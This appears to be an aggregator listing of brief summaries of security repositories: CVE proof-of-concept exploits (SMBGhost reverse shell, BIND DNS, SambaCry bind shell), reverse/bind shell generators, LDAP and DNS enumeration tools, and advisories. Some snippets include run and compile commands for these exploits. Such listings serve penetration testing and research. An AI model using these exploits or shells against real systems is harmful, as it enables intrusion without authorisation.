CVE-2020-0796

CVE-2020-0796 Working Exploit PoC CVE-2020-0796 - Reverse Bind Shell Tested using Python2.7 To Install: pip install -r requirements.txt To Run: python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

persisthunt

Linux Persistence Detection, Hunting and Artifact Collection Summary Usage Example Detections Table of Techniques Summary persisthunt.sh helps speed up investigations by collecting targeted persistence-related artifacts and highlighting suspicious patterns commonly associated with Linux persisten...

CVE-2024-21006_jar

CVE-2024-21006jar Exploit code reference: https://github.com/momika233/CVE-2024-21006 Here, the source code has been compiled into a JAR package for ease of use. The lib directory contains dependency files. If you wish to modify the source code, you can compile it yourself. Usage java -jar...

CVE-2019-6467

CVE-2019-6467 BIND nxdomain-redirect For educational purposes only Run $ docker run --rm --name cve-2019-6467 -it -p 53:53/udp knqyf263/cve-2019-6467 Exploit Normal query $ dig @127.0.0.1 nxdomain.example.com nxdomain can be replaced by anything that means non-existent domain name. e.g...

ShellPop

ShellPop About Shellpop is all about popping shells. With this tool you can generate easy and sophisticated reverse or bind shell commands to help you during penetration tests. Don't waste more time with .txt files storing your Reverse shells! Installation Python 2.7 is required. 3.0+ version wil...

serval

A Netcat style backdoor for pentesting and pentest challenges Serval is a lightweight, easy-to-use, binary for spawning reverse and bind shells for pentests or pentesting exercises. Serval is cross platform and can be compiled for both Windows 32 & 64-bit and Linux 32 and 64-bit. Note: Due to the...

socks5

socks5 Socks5/Socks5h server and client This project is to add protocol support for the Bridge, or it can be used alone Usage API Documentation Example Support for the CONNECT command Support for the BIND command Support for the ASSOCIATE command License Licensed under the MIT License. See LICENS...

dnsrecon

DNSRecon DNSRecon is a Python port of a Ruby script that I wrote to learn the language and about DNS in early 2007. This time I wanted to learn about Python and extend the functionality of the original tool and in the process re-learn how DNS works and how could it be used in the process of a...

CVE-2020-8617

CVE-2020-8617 PoC for CVE-2020-8617 For educational purposes only Run This image runs a standard BIND server, which automatically generates a tkey "local-ddns". $ docker run --rm --name cve-2020-8617 -it -p 53:53/udp knqyf263/cve-2020-8617 Exploit $ pipenv install $ pipenv run python exploit.py...

shellerator

Shellerator Shellerator is a simple CLI/TUI tool aimed to help pentesters quickly generate reverse, bind and web shells in multiple programming languages like Bash, Powershell, Netcat, PHP, ASPX, etc. Another similar project for the generation of one-line file downloading commands is based on thi...

One-Lin3r

One-Lin3r One-Lin3r is simple modular and light-weight framework gives you all the one-liners that you will need while penetration testing Windows, Linux, macOS or even BSD systems or hacking generally with a lot of new features to make all of this fully automated ex: you won't even need to copy...

postshell

PostShell PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system. ScreenShots Banner and interaction with shell after a...

msLDAPDump

msLDAPDump LDAP enumeration tool implemented in Python3 msLDAPDump simplifies LDAP enumeration in a domain environment by wrapping the ldap3 library from Python in an easy-to-use interface. Like most of my tools, this one works best on Windows. If using Unix, the tool will not resolve hostnames...

GoSH

GoSH Golang reverse/bind shell generator Description This tool generates a Go binary that launches a shell of the desired type on the targeted host. The shell binary can be compiled for multiple platforms, supports partial polymorphism unique functions' names and can use UDP protocol instead of t...

revsh

revsh revsh is a tool for establishing reverse shells with terminal support, reverse VPNs for advanced pivoting, as well as arbitrary data tunneling. News 2018-08-09 : New release. Mosly bug / stability fixes and better documentation on the build process with OpenSSL 1.1.0. See the Installation...

Open WebUI 'LDAP Empty Password' - Authentication Bypass

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accep...

CVE-2016-2776

CVE-2016-2776 A tale of a DNS Packet, a detailed walk-thru and proof of concept of BIND's CVE-2016-2776. http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html In this repository you will find: Proof-of-Concept namedown.py Metasploit Auxiliary Module namedown.rb...

SLAE

SecurityTube Linux Assembly Expert This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student ID: SLAE-1134 Articles Assignment 1: Linux x86...

CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry Exploit Exploit SambaCry CVE-2017-7494 to exploit Samba bind shell without Metasploit If you need to change the port, just change line 68 of bindshell-samba.c and recompile: gcc -c -fpic bindshell-samba.c gcc -shared -o libbindshell-samba.so bindshell-samba.o How to exploit...

CVE-2026-19601

Mattermost versions 11.9.x = 11.9.1, 11.8.x = 11.8.5, 11.7.x = 11.7.10, 11.10.x = 11.10.1 fail to invalidate the stored AD/LDAP bind password when other connection settings such as the server address are changed, which allows a System Console administrator to disclose the plaintext bind password ...